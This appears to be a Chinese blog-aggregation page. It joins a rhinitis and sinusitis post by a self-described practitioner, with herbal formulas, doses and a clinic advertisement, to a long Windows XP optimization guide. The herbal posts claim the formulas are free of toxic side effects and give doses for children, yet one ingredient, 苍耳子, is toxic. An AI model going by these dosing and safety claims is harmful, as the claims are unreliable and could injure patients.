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纳尔 的 刘亦菲和传说中清纯动人的表妹

 

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好男人 的 鼻炎鼻窦炎的偏方治疗

 

鼻科疾病是现在最常见疾病之一，症状类似感冒。于是很多患者都认为鼻炎是感冒后遗症，无需特别关注。不错，鼻炎确实是感冒长期不愈引起的一种症状，但是也确实是由感冒转成了另一种疾病了。

鼻炎的病症分五六种，由鼻窦炎，筛窦炎，额窦炎，颌窦炎，蝶窦炎及鼻炎构成。症状也各有不同，我已在我的博客中细分析了各种鼻病症状，你可以去看看你属于哪一种。博客网址：http://wan740130.blog.163.com/edit/

鼻炎的治疗方法多以中医治疗众多，西医采用穿刺、清洗、输液、手术以及内服消炎药治疗。效果很好但易复发。中医在慢性病治疗方法上有几千年的治疗经验，《黄帝内经》中也有述说可分为临症治疗和验方治疗。

临症治疗，中医多以偏方为主，效果好作用迅速，对症状比较轻的患者来说是一种有效的治疗手法。就是根据患者偏方治疗，哪不舒服就治疗哪里，起到立即缓解，消除症状的治疗方法，缺点是此方法难以根除，易复发。

验方治疗，就是根据中医传统理论，以疏导、调理、补益······等由患者病因入手，最后达到治愈目的，起到一经治愈不再复发，或者复发率低的作用。缺点是见效慢，服用周期长。本人治疗鼻炎已有十六年之久，对各种鼻炎有一定的治疗对策，凡在此治疗的鼻炎患者我会根据其症状进行验方治疗，以达到不再复发的效果，但也有轻者想用偏方治疗，现就鼻炎治疗的简单偏方解释如下，供鼻病患者参考。

（1）       荆芹6克，白芷6克，苍耳子6克，甘草3克。

此方对鼻塞型感冒及鼻炎轻微的患者比较适用。可每日一剂，煎汤内服，连服六天，无毒副作用，适合大多数人群，小儿及体质虚弱者减半内服。

（2）       鹅不食草30克，蜂蜜30克，苍耳子9克。

此方适合治疗鼻塞型鼻炎，兼顾治疗鼻息肉及鼻道粘膜增生导致的狭窄性鼻塞患者，也适合广大人群，年老体弱及儿童减半服用，每日一剂，分两次服用。

（3）       川穹3克，菊花6克，桂枝6克，白药6克，当归3克，柳枝6克，荆芹6克，荜拨3克。

此方适合治疗头痛尤其是鼻两翼疼痛，头两侧疼痛的患者，对青壮年鼻炎症状比较明显的人群适用，无毒副作用，每日一次，每次一剂。

以上为治疗鼻炎的几个小偏方，无毒副作用，适合症状轻的患者，服药期间禁食烟酒辛辣食品，连服几日效果明显。

验方治疗无法在这里讲解，加之中医的医技及理论，多数不曾接触，即使全部写出来，恐怕也没有人看懂。验方治疗多由有经验的医生，多年总结临床治疗结果而创造或有几代祖传经验方加中医理论创造的技术。总之，验方治疗需要对患者进行全方位的针对治疗，对症下药，达到治愈和不复发的效果。本人曾在中国针灸学会副主席王一针（那是我们曾送给他的名号）的门下学艺，对针灸和鼻炎治疗上有一点拙技，开诊十几年来，治疗鼻炎病人达到万人之多，主要以石家庄地区为主。如石家庄患者有兴趣可来本门诊咨询。

电话：13832371885 周医生

QQ：974329991

博客地址：http://wan740130.blog.163.com/edit/

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好男人 的 你患有鼻炎吗？

 

你可有经常感冒的症状？

是否有头痛，头两侧太阳穴，两眼眉中间疼痛，头晕。头痛重时干呕，恶心，流鼻涕，打喷嚏，嗜睡，双眼压抑，感冒频繁，不易治疗的症状。

鼻炎，鼻窦炎是常见的鼻科疾病，分为：

（1）鼻炎：过敏性鼻炎、肥厚性鼻炎、鼻息肉、萎缩性鼻炎等。

（2）鼻窦炎：上颌窦炎，化脓性颌窦炎，筛窦炎，蝶窦炎，额窦炎，副鼻窦炎······等。

主要是上呼吸道感染长期不愈诸发的疾病，通常为感冒后7——15天不愈而引发的。病人多身体虚弱，或免疫力过低。这些疾病发生率高，分布普遍，大多症状类似感冒，初期时会被当作感冒治疗，易长期不愈，甚至长达数月或数年。由于症状不太明显或能让患者忍受，或是治疗效果不太明显，或治疗后易反复发作，使患者治疗失去信心而忽略治疗。

此类疾病细分为以下几种症状：

1、  单纯性鼻炎：患者症状为，鼻塞不通气，如一侧通一侧赌。躺下后加重坐起减轻，流清鼻涕或不流鼻涕，时常感冒，偶有打喷嚏症状，鼻检双侧或单侧鼻甲肥大，鼻腔粘膜淡红，有分泌物。

2、  肥厚性鼻炎：症状为鼻塞严重不透气，流清鼻涕或无，常用口呼吸，平时鼻塞严重口干咽疼，头昏头晕，时轻时重，长期不愈，双下甲肥大，鼻腔粘膜肥厚红肿，鼻道狭窄。

3、  过敏性鼻炎：一打喷嚏症状为主，遇到冷空气或花粉及易过敏的气味或粉尘即会打喷嚏、流眼泪。反之一切正常无其它症状。有过敏史，鼻腔粘膜淡红，有少量分泌物或无，平时不遇到过敏物质或无感冒症状时一切正常。

4、  鼻息肉：患者严重鼻塞，头痛头晕，易感冒对药物治疗无效，鼻甲肥厚，粘膜红肿，可看到鼻内有息肉，需手术摘除治疗。

5、  萎缩性鼻炎：患者嗅觉丧失，不闻香臭，流清鼻涕或无，偶有头晕几乎没有什么其它症状，嗅觉丧失时间比较长，检查鼻腔粘膜干枯萎缩，颜色酶暗。

6、  上颌窦炎：两侧太阳穴头痛，眉心疼痛，有时会前额前顶头痛，鼻塞，流黄鼻涕，有时流青浊涕，粘稠。头晕头昏头痛严重时会恶心记忆力衰退，感冒频繁发作，一般消炎药没有疗效，双鼻甲肥大，粘膜浸润发红，分泌物过多，鼻道狭窄。

7、  额窦炎、蝶窦炎：症状基本相似，同上颌窦炎症状也基本相似。有后头痛症状，头痛剧烈，心烦易怒，记忆力衰退，眉棱骨疼痛，嗜睡，双眼压抑，视力模糊，听力减退。

8、  副鼻窦炎：是以上各病的综合症状，只是病程长久，治疗不对症时会长期没有疗效，严重影响生活学习。

这些症状是鼻科疾病常见症状，有时还需借助x光拍片确定，也欢迎广大博友来贴咨询，祝你们健康。

 欢迎光临好男人网站：http://wan740130.blog.163.com/edit/更多你感兴趣的话题即将揭晓。

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小巴菲特 的 电脑运行速度慢的原因及解决方法

1、中毒。
2、系统盘垃圾比较多，需及时清理。
3、开启的服务太多。
4、许多人连接你的机器。
5、同时打开执行过多的程序。
...


1. cpu温度过高所造成所以 自动采用了“降频”保护自己(cpu) 摸一下散热器 如果温度正常 会不会是cpu风扇给烧坏了 我们可以看一下计算机的自检过程 如果没有什么异常 我们可以基本排除了 硬件出问题 那么会不会是BIOS程序中的设置参数出了什么问题呢？ 我们进入BIOS看看“BIOS FEATURES SETUP”项中的“CPU Level 1 Cache”被“Disabled”了。CPU Level 1 Cache”是一个对CPU性能起着至关重要的参数！一旦被关闭，CPU性能马上就会下降好几个数量等级。将其调整为“Enabled”，然后保存设置，就会解决这个问题了 如果运行大型软件速度慢的话可以用万能表测试一下电压问题 如果小 cpu也会自动降频 换一个电源就好了

2. 很普通的情况 这是 因为winodws 经过长时间的使用 频繁的装各种软件所以会
显得比较慢 比较迟钝 可以通过清理注册表来解决这个问题也可以使用《Windows优化大师》等工具软件，删除一些平时不常用的软件来解决这个问题 最好的方法就是重新装一遍windows 无须格式化 系统盘使用FAT32，它将大幅度减少磁盘的占用空间

3. 配置问题 相信看到缺少足够内存这几个字眼，一定会有很多朋友说这怎么可能呢，我的机器可是有多少多少内存啊。下面就请大家来看一台PⅡ 266的实例，该机使用了流行的AGP显示卡，加装了64MB SDRAM，那么其真正能够使用的内存有多少呢？首先Windows操作系统会用掉大约6～10MB的内存，用于存放其自身的模块；其次第二个杀手便要数AGP显示卡总线了。诚然使用AGP显示卡总线可以节省大量价格昂贵的显存，但是如果在一台配置了64MB内存的计算机上激活AGP功能，则系统便会分配给AGP显示卡高达32MB的主存（由系统统一控制），如此一来，系统就只剩下20MB左右的内存，这其中还要留有3～5MB备用，以免系统资源耗尽而崩溃，所以你真正拥有的只是不足20MB的内存空间。而且这有限的空间还要被诸多的后台驻留程序瓜分，如反病毒软件realone midea Netmeeting等等。朋友们都知道即使是一个最常用的WORD软件也要求最好有16MB左右的内存，而运行如3D MAX等大型软件时，64MB的内存也不够用。所以此时系统就会自动采用硬盘空间来虚拟主内存，用于运行程序和储存交换文件以及各种临时文件。由于硬盘是机械结构，而内存是电子结构，它们两者之间的速度相差好几个数量级，因而使用硬盘来虚拟主内存将导致程序运行的速度大幅度降低。只需要买两根内存就搞定了

4.Windows操作系统所带来的优点之一就是多线性、多任务，系统可以利用CPU来进行分时操作，以便你同时做许多事情。但事情有利自然有弊，多任务操作也会对你的机器提出更高的要求。如果你同时打开了过多的应用程序，即使内存再大，这时候系统的主内存也将会告急，系统资源会被耗尽，从而降低了程序的运行速度甚至导致系统的崩溃。以128MB主内存的机器为例，一次同时打开约50个程序时，在帮助中发现系统的资源已经为0可用空间，此时除非关闭一些应用程序，否则任何操作皆无效。因而如果要运行多任务,就得考虑机器档次够不够高,内存是否充裕,否则其运行速度会比蜗牛爬快不了多少

5.硬件不支持 原因有两个：一是CPU马力不够强劲，尽管它很努力的为你服务，可是往往还是力不从心 只能怪intel更新换代太快?二是部件太老，以3D游戏为例，如果你的显示卡不是最新的型号，在运行这类游戏时便会因为显示卡不支持游戏模式（如openGL、D3D）而不得不采用软件模拟加速，导致游戏速度骤降，让你很郁闷 发誓再也不玩游戏。

6 [FONT=Arial]最最讨厌的原因 本人也曾经深受其害。。。。。。病毒发作由于计算机中感染了病毒，使计算机运行速度大幅度变慢。其作用机理有两个：一是病毒入侵后，首先占领内存这个据点，然后便以此为根据地在内存中开始漫无休止地复制自己，随着它越来越庞大，很快就占用了系统大量的内存，导致正常程序运行时因缺少主内存而变慢，甚至不能启动；二是因为病毒程序迫使CPU转而执行无用的垃圾程序，使得系统始终处于忙碌状态，从而影响了正常程序的运行，导致计算机速度变慢。及时更新自己的病毒防火墙 网络防火墙 不让别人有机可乘 是最重要的！！！

 

一、Windows XP优化

 

优化视觉效果
Windows XP的操用界面的确是很好看，好看的背后是以消耗大量内存作为代价的，相对于速度和美观而言，我们还是宁愿选择前者，右键单击“我的电脑”，点击“属性/高级”，在“性能”一栏中，点击“设置/视觉效果”，在这里可以看到外观的所有设置，可以手工去掉一些不需要的功能。在这里把所有特殊的外观设置诸如淡入淡出、平滑滚动、滑动打开等所有视觉效果都关闭掉，我们就可以省下“一大笔”内存。

 

减少启动时加载项目
许多应用程序在安装时都会自作主张添加至系统启动组，每次启动系统都会自动运行，这不仅延长了启动时间，而且启动完成后系统资源已经被吃掉不少！我们可以减少系统启动时加载的程序，方法是：选择“开始”菜单的“运行”，键入“msconfig”启动“系统配置实用程序”，进入“启动”标签，在此窗口列出了系统启动时加载的项目及来源，仔细查看你是否需要它自动加载，否则清除项目前的复选框，加载的项目愈少，启动的速度自然愈快。此项需要重新启动方能生效。

 

关闭系统还原功能

关闭系统还原功能方法是：单击“开始/所有程序/附件/系统工具/系统还原”，在系统还原界面，单击“系统还原设置”进入“系统还原设置”窗口，清空“在所有驱动器上关闭系统还原”复选框，这样Windows XP就会删除备份的系统还原点，从而释放它占用的磁盘空间。
一般来说，为了兼顾系统性能和系统安全，笔者建议打开Windows XP所在盘符的系统还原功能。

 

关闭远程桌面
这个功能的一个特点就是可以让别人在另一台机器上访问你的桌面。在局域网中，这个功能很有用。比如你有问题了可以向同事求助，他可以不用到你的跟前，直接通过“远程桌面”来访问你的机器帮你解决问题。但是对于我们只有一台计算机的 普通用户来说这个功能就显得多余了，所以我们把它关掉，不让它在那儿白白浪费内存。具体操作为：右键单击“我的电脑”，选择“属性/远程”，把“远程桌面”里的“允许用户远程连接到这台计算机”勾去掉。

 

禁用消休眠功能
Windows XP的休眠可以把内存中当前的系统状态完全保存到硬盘，当你下次开机的时候，系统就不需要经过加载、系统初始化等过程，而直接转到你上次休眠时的状态，因此启动非常快。但它会占用大量的硬盘空间(和你的内存大小一样），可以到“控制面板/电源选项/休眠”中将其关闭，以释放出硬盘空间，待到要需要使用时再打开即可。方法是：单击“开始/控制面板/电源管理/休眠”，将“启用休眠”前的勾去掉。

 

关闭“自动发送错误报告”功能
大家在Window XP 中肯定有这样的经历，一旦一个程序异常终止，系统就会自动跳出一个对话框问你是否将错误发送给微软，这就是XP中的“自动发送错误”功能，它可以将错误信息发送到微软的网站。虽然微软一再信誓旦旦地表示，可以提供强大的安全保障，不会泄露个人隐私，但是发送给微软的信息中有可能包含你正在浏览或编辑的文档信息，也许这正包含了个人隐私或是公司机密，因此如果你想保障自己应有的权利，我们应该义无反顾的把这项功能关掉。方法是：单击“开始/控制面板/系统/高级”，单击“错误报告”按钮，然后选中“禁用错误报告”，下面的“但在发生严重错误时通知我”可以选中。

 

关闭“Internet时间同步”功能
“Internet时间同步”就是使你的计算机时钟每周和Internet时间服务器进行一次同步，这样你的系统时间就会是精确的，不过这个功能对我们来说用处不大，而且还可能引起死机的问题。一般来说，只要在安装完Windows XP以后同步一次时间就可以了。所以我们要把它关掉。具体操作是：依次单击“开始/控制面板/日期、时间、语言和区域选项”，然后单击“日期和时间/Internet时间”。

合理设置虚拟内存
对于虚拟内存文件，Windows XP为了安全默认值总是设的很大，浪费了不少的硬盘空间，其实我们完全可以将它的值设小一点。方法是：进入“控制面板/系统/高级/性能/设置/高级/虚拟内存/更改”，来到虚拟内存设置窗口，首先确定你的页面文件在哪个驱动器盘符，然后将别的盘符驱动器的页面文件全部禁用。建议你把它是设置到其他分区上，而不是默认的系统所在的分区，这样可以提高页面文件的读写速度，有利于系统的快速运行。根据微软的建议，页面文件应设为内存容量的1.5倍，但如果你的内存比较大，那它占用的空间也是很可观的，所以，建议如果内存容量在256MB以下，就设置为1.5倍，最大值和最小值一样，如果在512MB以上，设置为内存容量的一半完全可行。

 

删除多余文档
Windows XP中有许多文件平时我们很少用到，放在硬盘中，白白浪费空间，降低系统性能。我们完全可以把这些用不到的文件删除，需要删除的文件有：
帮助文件：在C:WindowsHelp目录下。
驱动备份：C:Windowsdriver cachei386目录下的Driver.cab文件。
系统文件备份： 一般用户是不怎么用的，利用命令sfc.exe /purgecache删除。
备用的dll文件：在C:Windowssystem32dllcache目录下。
输入法：在C:WindowsIme文件夹下直接删除chtime、imjp8_1、imkr6_1三个目录即可，分别是繁体中文、日文、韩文输入法。

 

删除WindowsXP中隐含的组件
Windows XP在正常安装之后，会自动安装许多组件，这些组件有许多是平时用不到的，安装在系统中会占用很多空间，降低系统性能，我们可以用下述方法删除不用的组件。
用记事本修改C:WindowsInf目录下的Sysoc.inf文件，用查找/替换功能，在查找框中输入“,hide”（一个英文逗号紧跟hide），将“替换为”框设为空。并选全部替换，这样，就把所有的“,hide”都去掉了，存盘退出，再单击“开始/控制面板/添加或删除程序”,就可以看到许多平时见不到的组件，选择不需要程序进行删除即可。

 

清理垃圾文件
Windows XP在正常的使用过程中会产生扩展名为TMP、BAK、OLD之类的垃圾文件，你可以用Windows的搜索功能，查出这些文件，然后把它们删除。另外Windows XP默认会在系统失败时记录错误事件，并写入调试信息，这些文件信息我们完全可以弃之不用。方法是单击“开始/控制面板/系统/高级/启动和故障恢复”，清空“将事件写入日志文件”，在“写入调试信息”下拉框里选“无”即可。

禁止MSN随Windows启动
每次启动Windows时，Messenger总是自动运行，即使你不想启动它，可是它也自动运行，非常烦人，我们能不能禁止它，不让它随Windows启动呢？回答是可以的。
第一种方法：
1.在“开始”菜单中单击“运行”，在“打开”框中输入“msconfig”，“确定”后打开“系统配置实用程序”窗口。
2.单击“启动”选项卡，在“启动项目”列表中，清除“MSMSGS”前的复选框，单击“确定”按钮。
3.当系统提示“重新启动计算机”时，请单击“是”按钮。
第二种方法：
1.打开“注册表编辑器”窗口。
2.依次展开“KEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun”分支，然后在右窗格中右键单击“MSMSGS”，再单击快捷菜单中的“删除”命令，当系统提示确认删除时，请单击“是”按钮。
经过设置，MSN就再也不会随Windows XP的启动而启动了。

 

 

删除多余字体
Windows XP中安装的字体越多，就会占用更多的内存的系统资源，减慢系统的运行速度，因此，对于不常用的字体，我们最好把它从系统中删除。字体文件存放在C:Windowsfont目录下，你完全可以根据需要选择一些字体，对于更多不用的字体，一删了之。

 

更改IE临时文件夹
上网时产生的大量临时文件都存放在IE临时文件夹中，默认情况下，临时文件夹是在系统分区上，大量的临时文件会影响硬盘读写系统文件的性能。你可以更改临时文件的位置来避免出现这种情况。方法是单击“开始/控制面板/Internet选项”，在“常规”选项卡中单击“设置”按钮，在打开的窗口中单击“移动文件夹”按钮，指定一个非系统分区上的文件夹，单击“确定”后，临时文件就会移到指定的文件夹上。

 

加快“网上邻居”共享的速度
不知道各位使用者用Windows XP开“网上邻居”里面的共享资源时，有没有发现所花的时间相当的长，这是因为它会检查其它计算机中的设定工作，有时甚至就在那边停了将近一分钟，相当讨厌，大家可以通过下面的方法将其检查的步骤取消：选择“开始/运行”，输入regedit，在弹出注册表编辑器中寻找[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/
Explorer/RemoteComputer/NameSpace]，按鼠标右将在此位置的{D6277990-4C6A-11CF-8D87-00AA0060F5BF}删除之即可。

 

清除预读文件
当Windows XP使用一段时间后，安装目录下的预读文件夹（C:Windowsprefetch）里的文件会变的很大，里面会有死链接文件，这会减慢系统时间，建议你定期删除这些文件。

 

设置预读以提高速度
Windows XP使用预读设置这一新技术，以提高系统速度。如果你的电脑配置不错，拥有PIII 800, 512M内存以上，你可以进行以下修改：单击“开始/运行”，输入“regedit”，打开注册表，找到[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerMemory ManagementPrefetchParametersEnablePrefetcher]，设置数值0，1，2，3（0-Disable,1-预读应用程序,2-启动预读,3-前两者皆预读），推荐使用“3”，这样可以减少启动时间。

 

取消不需要的网络服务组件
单击“开始/控制面板/网络连接/本地连接”打开本地连接状态窗口，单击“属性”按钮，打开属性对话框，单击“高级”选项卡，选中“通过限制或阻止来自Internet的对此计算机的访问来保护我的计算机和网络”选项，然后单击“设置”按钮，就可以看到所有已经安装的、Internet用户可以访问的、运行于你的网络上服务，除非你想架设FTP或SMTP服务器，否则不妨全部取消这些项目的选定状态。　　

 

启用DMA传输模式
所谓DMA，即直接存储器存储模式，指计算机周边设备（主要指硬盘）可直接与内存交换数据，这样可加快硬盘读写速度，提高速据传输速率。由于某些原因，Windows XP有时会在IDE通道上使用PIO并行输入输出传输模式，而不是DMA模式。如果有这种情况，用户可以手动把IDE通道改为DMA模式，这样可以减少该设备占用的CPU周期。方法是：右键点击“我的电脑”，选“属性”，点选“硬件”选项卡，单击“设备管理器”按钮，打开“设备管理器”，然后点击展开“IDE ATA/ATAPI 控制器”分支，其中“IDE控制器”有两项“主要IDE通道”及“次要IDE通”，分别选中，依次进入“属性/高级设置”，该对话框会列出目前IDE接口所连接设备的传输模式，检查“传输模式”下拉菜单，把它们全部设“DMA(若可用)”，点击“确定”。

 

加快菜单显示速度
选择“开始/运行”，输入regedit，弹出注册表编辑，寻找[HKEY_CURRENT_USERControlPanelDesktop]，在右边的窗口中选择MenuShowDelay，按鼠标右键，选择“修改”，将其数值资料改为100或更小(默认值为：400)，建议不要使用0，因为如此一来只要鼠标一不小心触碰到“所有程序”，整条菜单就会跑出来，那这乱了套。

 

加快关机速度
Windows XP的开机速度的确比以前版本的操作系统快了很多，但关机速度却慢了不少。如果你在意关机速度的快慢，可以修改几个注册表键值，就可以大大减少Windows关闭所用的时间。首先打开注册表编辑器，找到HKEY_CURRENT_USERControl PanelDesktop，里面有个名为HungAppTimeout的键，它的默认值是5000(如果不是，把它改为5000)。接下来，还有个WaitToKillAppTimeout键，把它的值改为4000(默认值是2000)。最后，找到注册表如下位置：HKEY_LOCAL_MACHINESystemCurrentControlSetControl。同样地，把其中的WaitToKillServiceTimeout键值改为4000。另外，把“控制面板/管理工具/服务”中的NVidia Driver Help服务设为手动，也可以加快Windows关闭时间。

 

关闭计算机时自动结束任务
在关机的时候，有时会弹出讨厌的对话框，提醒某个程序仍在运行，是否结束任务。其实完全可以通过一点点修改让Windows自动结束这些仍在运行的程序。在注册表中打开HKEY_CURRENT_USERControl PanelDesktop 目录，把里面的AugoEndTasks键值改为1。
注意：可能会找不到AutoEndTasks键值，如果是这样的话，自己建一个串值并把它改为这个名字，值设为1就可以了。

 

关闭华生医生Dr.Watson
单击“开始/运行”，输入“drwtsn32”命令，或者“开始/所有程序/附件/系统工具/系统信息/工具/Dr Watson”，调出系统里的华生医生Dr.Watson ，只保留“转储全部线程上下文”选项，否则一旦程序出错，硬盘会读很久，并占用大量空间。如以前有此情况，请查找user.dmp文件，删除后可节省几十MB空间。

 

减少磁盘扫描等待时间
WindowsXP虽然号称稳定，但是并不是永不死机，偶尔也会给你个蓝脸，非法操作后系统会自动扫描，出现大段大段的E文，告诉你刚才系统非正常结束，现在需要检查一下是否出错，可是还要等待一段时间才开始，所以我们可以在dos下，键入“chkntfs/t:0”，表示等待时间为0秒。

 

删除多余的帐户
如果你的电脑只有你一个人使用，最好只建自己的一个帐户，因为你每建一个帐户，就会在Windows XP的安装目录下的documents and settings下面多一个以你所建帐户为名的文件夹，里面存放着这个帐户的一些资料，有收藏夹、文档、历史记录，系统设置信息等内容，天长日久它占用的空间也是不可小觑的，解决方法就是到“开始/控制面板/用户帐户”里依自己情况删除多余的帐户即可。

 

让系统自动关闭停止响应的程序
单击“开始/运行”，输入regedit，弹出注册表编辑器，寻找[HKEY_CURRENT_USERControlPanelDesktop]，在右边的窗口中选择AutoEndTasks，按鼠标右键，选择“修改”，将其数值资料改为1(默认值为：0)。

 

IE网络浏览器加速技巧
Windows XP自带Internet Explorer6，有个小技巧，修改之后启动得飞快（在我的机子上，简直是瞬间启动）。具体做法是：右键点击Internet Explorer快捷图标（如任务栏上的快捷启动栏中那个IE图标），打开图标属性之后在“目标”后面加上“-nohome”参数即可。

 

二、文件管理和操作技巧

加密文件和文件夹
在任何需要加密的文件和文件夹上右键单击鼠标，选择“属性”命令，单击“常规”选项卡，然后依次选择“高级加密内容以便保护数据”后确定就可以了。需要说明是 ：Windows XP的加密操作只针对NTFS格式的磁盘分区，它对传统的FAT16和FAT32格式的分区不提供加密支持，如果你想使用加密操作，就需要把磁盘转换为NTFS格式。

 

 

　　2、如何自行配置Windows XP的服务

　　如果你是在单机使用Windows XP，那么很多服务组件是根本不需要的，额外的服务程序影响了系统的速度，完全可将这些多余的服务组件禁用。单击“开始→控制面板→管理工具→服务”，弹出服务列表窗口，有些服务已经启动，有些则没有。我们可查看相应的服务项目描述，对不需要的服务予以关闭。如“Alerter”，如果你未连上局域网且不需要管理警报，则可将其关闭。

　　

　　3、Smartdrv程序有什么作用

　　现象：在许多有关Windows XP安装的介绍文章中都提到：“如果在DOS下安装Windows XP非常慢，肯定是安装前未运行Smartdrv.exe。我想问这个Smartdrv.exe文件有什么饔?具体如何使用?

　　

　　Smartdrv.exe这个文件对于熟悉DOS的朋友肯定很清楚，主要作用是为磁盘文件读写增加高速缓存。大家知道内存的读写速度比磁盘高得多，如果将内存作为磁盘读写的高速缓存可以有效提高系统运行效率。Smartdrv.exe这个文件在Windows各个版本的安装光盘中或是硬盘上的Windows/command/里都有，只有几十KB，把这个文件复制到软盘下，启动系统后直接运行这个程序(可以不加参数，该程序会自动根据内存大小分配适当的内存空间作为高速缓存)，再安装Windows XP即可。另外提醒大家，这个程序在安装完Windows后，不要运行，否则Windows可用内存将减少。

　　

　　

　　4、Win32k.sys是什么文件

　　现象：我刚装了Windows XP，可是接下去再装毒霸就发现病毒，位于F:\WINNT\ SYSTEM32里的Win32k.sys文件，删又不可删，隔离又不行，在Windows 98下或DOS下删就会导致Windows XP不可启动，请问该文件是干什么用的，有什么方法解决？

　　

　　这个文件是Windows XP多用户管理的驱动文件。在X:\Windows\System32\Dllcache目录下有此文件的备份。只要将此备份拷到X:\Windows\System32下替代带病毒的文件即可。做一张Windows 98启动盘，并将Attrib.exe文件拷入软盘，此文件在装有Windows 98的机器上的X:\Windows\Command目录下。在BIOS的Advanced BIOS Features 中将启动顺序调整为从A盘启动，进入DOS后，进入X:\Windows\System32目录，输入Attrib -s -h -r win32k.sys，再进入X:\Windows\System32\dllcache目录下输入同样命令，再用copy win32k.sys X:\windows\System32覆盖原文件，再重新启动即可。

　　

　　

　　5、Windows XP的开机菜单有什么含义

　　现象：最近我安装了Windows XP操作系统，我知道在启动时按F8键或当计算机不能正常启动时，就会进入Windows XP启动的高级选项菜单，在这里可以选择除正常启动外的8种不同的模式启动Windows XP。请问这些模式分别代表什么意思?

　　

　　(1)安全模式：选用安全模式启动Windows XP时，系统只使用一些最基本的文件和驱动程序启动。进入安全模式是诊断故障的一个重要步骤。如果安全模式启动后无法确定问题，或者根本无法启动安全模式，那你就可能需要使用紧急修复磁盘ERD的功能修复系统了。

　　

　　(2)网络安全模式：和安全模式类似，但是增加了对网络连接的支持。在局域网环境中解决Windows XP的启动故障，此选项很有用。

　　

　　(3)命令提示符的安全模式：也和安全模式类似，只使用基本的文件和驱动程序启动Windows XP。但登录后屏幕出现命令提示符，而不是Windows桌面。

　　

　　(4)启用启动日志：启动Windows XP，同时将由系统加载的所有驱动程序和服务记录到文件中。文件名为ntbtlog.txt，位于Windir目录中。该日志对确定系统启动问题的准确原因很有用。

　　

　　(5)启用VGA模式：使用基本VGA驱动程序启动Windows XP。当安装了使Windows XP不能正常启动的新显卡驱动程序，或由于刷新频率设置不当造成故障时，这种模式十分有用。当在安全模式下启动Windows XP时，只使用最基本的显卡驱动程序。

　　

　　(6)最近一次的正确配置：选择“使用‘最后一次正确的配置?启动Windows XP”是解决诸如新添加的驱动程序与硬件不相符之类问题的一种方法。用这种方式启动，Windows XP只恢复注册表项HklmSystemCurrentControlSet下的信息。任何在其他注册表项中所做的更改均保持不变。

　　

　　(7)目录服务恢复模式：不适用于Windows XP Professional。这是针对Windows XP Server操作系统的，并只用于还原域控制器上的Sysvol目录和Active Directory目录服务。

　　

　　(8)调试模式：启动Windows XP，同时将调试信息通过串行电缆发送到其他计算机。如果正在或已经使用远程安装服务在你的计算机上安装Windows XP，可以看到与使用远程安装服务恢复系统相关的附加选项。

　　

　　

　　6、如何彻底删除XP

　　现象：我装了Windows Me和Windows XP双系统，都是FAT32格式。C盘装Windows Me，E盘装Windows XP。昨天，Windows XP系统丢失了SYSTEM32.DLL，启动不了。于是我在进入Windows Me系统内，在E盘直接删除Windows XP。但是，每次开机都出现多系统启动菜单，供选择。我该怎样才可以彻底删除XP？

　　

　　用一张Windows 9x/Me的启动盘启动，在“A:”下输入“SYS C:”，给C盘重新传系统即可。

　　

　　7、如何处理Windows XP不能自动关机现象

　　

　　现象：我的Windows XP有时候不能自动关闭电脑，请问应该怎么办？

　　

　　安装完Windows XP之后，有些计算机在单击关闭电脑之后并不能自动关闭，而需像以前的AT电源一样手动关闭。这主要是Windows XP未启用高级电源管理。修正方法：单击“开始→控制面板→性能和维护→电源选项”,在弹出的电源选项属性设置窗口中，单击“高级电源管理”并勾选“启用高级电源管理支持”。

　　

　　8、如何创建“锁定计算机”的快捷方式

　　

　　因有急事而需要离开，但又不希望电脑进行系统注销，该怎么办？你完全可以通过双击桌面快捷方式来迅速锁定键盘和显示器，且无需使用“Ctrl+Alt+Del”组合键或屏幕保护程序。操作方法：在桌面上单击鼠标右键，在随后出现的快捷菜单上指向“新建”，并选择“快捷方式”。接着，系统便会启动创建快捷方式向导。请在文本框中输入下列信息：rundll32.exe user32.dll, LockWorkStation，单击“下一步”。输入快捷方式名称。你可将其命名为“锁定工作站”或选用你所喜欢的任何名称，单击“完成”。你还可对快捷方式图标进行修改(我最喜欢的一个是由Shell32.dll所提供的挂锁图标)。如需修改快捷方式图标，请执行下列操作步骤：右键单击“快捷方式”，并在随后出现的快捷菜单上选择“属性”。选择“快捷方式”选项卡，接着，单击“更改图标”按钮。在以下文件中查找图标文本框中，输入Shell32.dll，单击“确定”。从列表中选择所需图标，并单击“确定”。你还可为快捷方式指定一组快捷键，比如“Ctrl+Alt+L”。这种做法虽然只能帮助你节省一次击键，但却可使操作变得更加灵便。如需添加快捷键组合，请执行下列操作步骤：右键单击“快捷方式”，并在随后出现的快捷菜单上选择“属性”。选择“快捷方式”选项卡,在快捷键文本框中，输入任何键值，而Windows XP则会将其转换成快捷键组合(一般应采取Ctrl+Alt+任意键的形式)。如欲锁定键盘和显示器，只需双击相关快捷方式或使用所定义的快捷键即可。

　　

　　

　　9、如何调整桌面图标颜色质量

　　在桌面空白处单击鼠标右键，在打开的“显示　属性”对话框中选择“设置”选项卡，通过“颜色质量”下拉列表你可以调整计算机的颜色质量。你也可以通过编辑注册表来调整桌面图标的颜色质量，具体操作步骤：

　　

　　打开注册表编辑器，进入HKEY_CURRENT_ USER\Control Panel\Desktop\WindowMetrics子键分支，双击Shell Icon BPP键值项，在打开的“编辑字符串”对话框中，“数值数据”文本框内显示了桌面图标的颜色参数，系统默认的图标颜色参数为16。这里提供的可用颜色参数包括 ：4表示16种颜色，8表示256种颜色，16表示65536种颜色，24表示1600万种颜色，32表示True Color(真彩色)。你可以根据自己的不需要选择和设置你的桌面图标颜色参数。单击“确定”关闭“编辑字符串”对话框。注销当前用户并重新启动计算机后设置就生效。

　　

　　在桌面空白处单击鼠标右键，在打开的“显示属性”对话框中选择“外观”选项卡，在这里你可以方便地对整个桌面、窗口或者其他项目的字体和图标大小进行调整。

　　

　　不过，用这种方式设置图标大小有一定局限性，比如，用户只能选择系统已经提供的桌面大小方案，不能自己任意设置桌面图标的大小。如果你想随心所欲地对桌面图标大小进行调整，可以通过编辑注册表来达到目的。具体操作步骤是： 打开注册表编辑器，进入HKEY_CURRENT_ USER\Control Panel\Desktop\WindowMetrics子键分支，双击Shell Icon Size键值项，在打开的“编辑字符串”对话框中，“数值数据”文本框内显示了桌面图标的大小参数，系统默认29，用户可以根据自己的需要设置参数大小(参数越大，桌面图标也越大)，然后单击“确定”关闭“编辑字符串”对话框。当你注销当前用户并重新启动计算机后设置就生效。

　　

　　10、如何对系统声音进行选择与设置

　　

